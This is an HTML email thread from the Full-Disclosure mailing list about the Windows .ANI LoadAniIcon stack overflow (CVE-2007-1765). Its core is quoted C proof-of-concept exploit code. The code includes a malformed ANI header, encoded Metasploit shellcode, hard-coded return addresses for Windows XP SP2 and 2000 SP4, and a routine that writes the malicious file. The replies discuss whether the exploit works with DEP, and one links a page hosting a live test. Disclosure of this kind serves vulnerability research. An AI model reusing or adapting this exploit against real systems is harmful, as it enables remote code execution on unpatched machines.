The issue is that this only works with DEP turned off!<br><br><div><span class="gmail_quote">On 3/31/07, <b class="gmail_sendername">dev code</b> &lt;<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>&gt; wrote:
</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">I didn&#39;t include the DoS version of this, it just calls ExitProcess(). If<br>you have SP2, you can try going to 
<a href="http://sicotik.com/ink/test.html">http://sicotik.com/ink/test.html</a>. Thanks.<br><br>&gt;From: wac &lt;<a href="mailto:waldoalvarez00@gmail.com">waldoalvarez00@gmail.com</a>&gt;<br>&gt;To: &quot;dev code&quot; &lt;
<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>&gt;<br>&gt;CC: <a href="mailto:full-disclosure@lists.grok.org.uk">full-disclosure@lists.grok.org.uk</a><br>&gt;Subject: Re: [Full-disclosure] Windows .ANI LoadAniIcon Stack Overflow
<br>&gt;Date: Sat, 31 Mar 2007 06:53:34 -0500<br>&gt;<br>&gt;Hello:<br>&gt;<br>&gt;Does this works in *fully patched* XP pro + SP2? Mine seems to be totally<br>&gt;immune (not even crashing). XP&nbsp;&nbsp;Pro + SP2 + 0 patches crashes (probably
<br>&gt;landing somewhere else in memory).<br>&gt;<br>&gt;<br>&gt;On 3/30/07, dev code &lt;<a href="mailto:devcode29@hotmail.com">devcode29@hotmail.com</a>&gt; wrote:<br>&gt;&gt;<br>&gt;&gt;/*<br>&gt;&gt;* Copyright (c) 2007 devcode
<br>&gt;&gt;*<br>&gt;&gt;*<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^^ D E V C O D E ^^<br>&gt;&gt;*<br>&gt;&gt;* Windows .ANI LoadAniIcon Stack Overflow<br>&gt;&gt;* [CVE-2007-1765]<br>&gt;&gt;*<br>&gt;&gt;*<br>&gt;&gt;* Description:
<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;A vulnerability has been identified in Microsoft Windows,<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; which could be exploited by remote attackers to take complete<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; control of an affected system. This issue is due to a stack
<br>&gt;&gt;overflow<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;error within the &quot;LoadAniIcon()&quot; [user32.dll] function when rendering<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;cursors, animated cursors or icons with a malformed header, which<br>&gt;&gt;could<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; be exploited by remote attackers to execute arbitrary commands
<br>&gt;&gt;by<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;tricking a user into visiting a malicious web page or viewing an<br>&gt;&gt;email<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;message containing a specially crafted ANI file.<br>&gt;&gt;*<br>&gt;&gt;* Hotfix/Patch:<br>
&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;None as of this time.<br>&gt;&gt;*<br>&gt;&gt;* Vulnerable systems:<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows 2000 Service Pack 4<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows XP Service Pack 2<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows XP Professional x64 Edition<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Server 2003<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Server 2003 (Itanium)<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Server 2003 Service Pack 1
<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Server 2003 Service Pack 1 (Itanium)<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Server 2003 x64 Edition<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows Vista<br>&gt;&gt;*<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Internet Explorer 6
<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Internet Explorer 7<br>&gt;&gt;*<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;This is a PoC and was created for educational purposes only. The<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; author is not held responsible if this PoC does not work or is
<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; used for any other purposes than the one stated above.<br>&gt;&gt;*<br>&gt;&gt;* Notes:<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For this to work on XP SP2 on explorer.exe, DEP has to be turned<br>&gt;&gt;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; off.
<br>&gt;&gt;*<br>&gt;&gt;*/<br>&gt;&gt;#include &lt;iostream&gt;<br>&gt;&gt;<br>&gt;&gt;/* ANI Header */<br>&gt;&gt;unsigned char uszAniHeader[] =<br>&gt;&gt;&quot;\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68&quot;
<br>&gt;&gt;&quot;\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00&quot;<br>&gt;&gt;&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>&gt;&gt;&quot;\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00&quot;
<br>&gt;&gt;&quot;\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02&quot;<br>&gt;&gt;&quot;\x61\x6E\x69\x68\xA8\x03\x00\x00&quot;;<br>&gt;&gt;<br>&gt;&gt;/* Shellcode - metasploit exec calc.exe ^^ */<br>&gt;&gt;unsigned char uszShellcode[] =
<br>&gt;&gt;&quot;\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49&quot;<br>&gt;&gt;&quot;\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42&quot;<br>&gt;&gt;&quot;\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32&quot;
<br>&gt;&gt;&quot;\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a&quot;<br>&gt;&gt;&quot;\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c&quot;<br>&gt;&gt;&quot;\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57&quot;
<br>&gt;&gt;&quot;\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50&quot;<br>&gt;&gt;&quot;\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d&quot;<br>&gt;&gt;&quot;\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f&quot;
<br>&gt;&gt;&quot;\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a&quot;<br>&gt;&gt;&quot;\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76&quot;<br>&gt;&gt;&quot;\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65&quot;
<br>&gt;&gt;&quot;\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78&quot;<br>&gt;&gt;&quot;\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f&quot;<br>&gt;&gt;&quot;\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65&quot;
<br>&gt;&gt;&quot;\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d&quot;<br>&gt;&gt;&quot;\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31&quot;<br>&gt;&gt;&quot;\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69&quot;
<br>&gt;&gt;&quot;\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61&quot;<br>&gt;&gt;&quot;\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70&quot;<br>&gt;&gt;&quot;\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42&quot;;
<br>&gt;&gt;<br>&gt;&gt;char szIntro[] =<br>&gt;&gt;&quot;\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n&quot;<br>&gt;&gt;&quot;\t\t\tdevcode (c) 2007\n&quot;<br>&gt;&gt;&quot;[+] Targets:\n&quot;<br>&gt;&gt;&quot;\tWindows XP SP2 [0]\n&quot;
<br>&gt;&gt;&quot;\tWindows 2K SP4 [1]\n\n&quot;<br>&gt;&gt;&quot;Usage: ani.exe &lt;target&gt; &lt;file&gt;&quot;;<br>&gt;&gt;<br>&gt;&gt;typedef struct {<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const char *szTarget;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned char uszRet[5];
<br>&gt;&gt;} TARGET;<br>&gt;&gt;<br>&gt;&gt;TARGET targets[] = {<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &quot;Windows XP SP2&quot;, &quot;\xC9\x29\xD4\x77&quot; },&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* call esp */<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { &quot;Windows 2K SP4&quot;, &quot;\x29\x4C\xE1\x77&quot; }
<br>&gt;&gt;};<br>&gt;&gt;<br>&gt;&gt;int main( int argc, char **argv ) {<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char szBuffer[1024];<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE *f;<br>&gt;&gt;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( argc &lt; 3 ) {<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;%s\n&quot;, szIntro );
<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&gt;&gt;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;[+] Creating ANI header...\n&quot;);<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset( szBuffer, 0x90, sizeof( szBuffer ) );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
<br>&gt;&gt;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;[+] Copying shellcode...\n&quot;);<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1
<br>&gt;&gt;);<br>&gt;&gt;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;%s\n&quot;, argv[2] );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; f = fopen( argv[2], &quot;wb&quot; );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( f == NULL ) {<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;[-] Cannot create file\n&quot;);
<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&gt;&gt;<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite( szBuffer, 1, 1024, f );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fclose( f );<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;[+] .ANI file succesfully created!\n&quot;);
<br>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&gt;&gt;}<br>&gt;&gt;<br>&gt;&gt;_________________________________________________________________<br>&gt;&gt;Interest Rates near 39yr lows! $430,000 Mortgage for $1,399/mo - Calculate<br>
&gt;&gt;new payment<br>&gt;&gt;<br>&gt;&gt;<a href="http://www.lowermybills.com/lre/index.jsp?sourceid=lmb-9632-18466&amp;moid=7581">http://www.lowermybills.com/lre/index.jsp?sourceid=lmb-9632-18466&amp;moid=7581</a><br>&gt;&gt;
<br>&gt;&gt;_______________________________________________<br>&gt;&gt;Full-Disclosure - We believe in it.<br>&gt;&gt;Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html
</a><br>&gt;&gt;Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br>&gt;&gt;<br><br>_________________________________________________________________<br>Live Search Maps – find all the local information you need, right when you
<br>need it. <a href="http://maps.live.com/?icid=hmtag2&amp;FORM=MGAC01">http://maps.live.com/?icid=hmtag2&amp;FORM=MGAC01</a><br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>
Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a>
<br><br></blockquote></div><br><br clear="all"><br>-- <br><a href="http://www.goldwatches.com/watches.asp?Brand=39">http://www.goldwatches.com/watches.asp?Brand=39</a><br><a href="http://www.wazoozle.com">http://www.wazoozle.com
</a>